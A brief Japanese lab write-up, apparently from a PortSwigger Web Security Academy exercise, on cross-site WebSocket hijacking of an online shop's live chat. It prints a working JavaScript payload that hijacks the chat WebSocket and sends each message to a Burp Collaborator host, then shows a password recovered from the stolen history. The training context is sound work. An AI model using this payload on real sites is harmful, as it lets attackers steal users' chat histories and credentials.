Hello there, ('ω')ノ
クロスサイトWebSocketハイジャックを。
オンラインショップには、ライブチャット機能があって。
JavaScriptのペイロードで、WebSocketハイジャック攻撃して。
チャット履歴からアカウント情報を盗みだせとのことで。
まずは、メッセージを送信して。
動作確認を。
チャットのやりとりは、Wensocketsでハンドシェイクが確認できて。
また、リクエストには CSRFトークンは見当たらず。
コラボレータを起動して、ペイロードをコピーして。
WebSocketハンドシェイクのプロトコルをwss://に変更して。
エクスプロイトサーバに下記のスクリプトを挿入してView exploitを。
<script>
websocket = new WebSocket('wss://ac261f5c1feb5f8c807a8b1c00ce00dd.web-security-academy.net/chat')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY");
}
function handleReply(event) {
fetch('https://dm3h6tlo94nbl0oha2mr7g1u6lcb00.burpcollaborator.net/?'+event.data, {mode: 'no-cors'})
}
</script>
コラボレータをみるとチャットの履歴が取得されて。
別ユーザのやりとりも確認できて。
メッセージをデコードして内容を確認して。
パスワードに関するメッセージを。
デコードすると下記がわかって。
8x6oyzo4l30fewavymxq
carlosでログインしてみると。
クリアできた。
Best regards, (^^ゞ